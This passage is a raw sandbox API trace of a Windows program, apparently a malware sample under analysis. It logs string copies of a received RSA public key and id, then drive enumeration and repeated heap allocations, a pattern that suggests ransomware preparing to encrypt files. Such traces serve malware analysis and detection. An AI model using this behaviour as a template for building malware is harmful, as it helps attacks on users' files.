KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x442) returned 0x3485e78 [0122.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada778, cbMultiByte=-1, lpWideCharStr=0x3485e78, cchWideChar=545 | out: lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 545 [0122.360] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.360] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.360] lstrlenA (lpString="\",\"id\":\"") returned 8 [0122.361] lstrcpyA (in: lpString1=0x9adab78, lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.361] lstrcpyA (in: lpString1=0x9ada778, lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.361] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470a18 [0122.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x854) returned 0x34862c8 [0122.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3470a18, cbMultiByte=-1, lpWideCharStr=0x34862c8, cchWideChar=1066 | out: lpWideCharStr="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 43 [0122.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3486b28 [0122.362] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34862c8 | out: hHeap=0x810000) returned 1 [0122.362] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470a18 | out: hHeap=0x810000) returned 1 [0122.362] lstrcpyW (in: lpString1=0x521cf0, lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.362] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486b28 | out: hHeap=0x810000) returned 1 [0122.362] lstrlenA (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 42 [0122.362] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x56) returned 0x3459bc8 [0122.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9ada778, cbMultiByte=-1, lpWideCharStr=0x3459bc8, cchWideChar=43 | out: lpWideCharStr="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 43 [0122.362] lstrcpyW (in: lpString1=0x521cf0, lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.362] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.362] lstrlenW (lpString="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned 40 [0122.362] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34579e8 | out: hHeap=0x810000) returned 1 Thread: id = 230 os_tid = 0x134 [0122.716] timeGetTime () returned 0x1133f00 [0122.716] GetLastError () returned 0x54f [0122.716] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3bc) returned 0x3ae08b0 [0122.716] GetCurrentThreadId () returned 0x134 [0122.716] SetLastError (dwErrCode=0x54f) [0122.716] Sleep (dwMilliseconds=0x0) [0122.718] Sleep (dwMilliseconds=0x3e8) [0124.125] GetLogicalDrives () returned 0x4 [0124.125] SetErrorMode (uMode=0x1) returned 0x0 [0124.125] PathFileExistsA (pszPath="C:\\") returned 1 [0124.125] SetErrorMode (uMode=0x0) returned 0x1 [0124.126] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0124.126] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x806) returned 0x3ae1ff0 [0124.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3dcfe60, cbMultiByte=-1, lpWideCharStr=0x3ae1ff0, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0124.126] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae2800 [0124.126] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.126] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x3464090 [0124.126] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2800 | out: hHeap=0x810000) returned 1 [0124.126] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.127] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.128] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.128] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.129] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.129] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 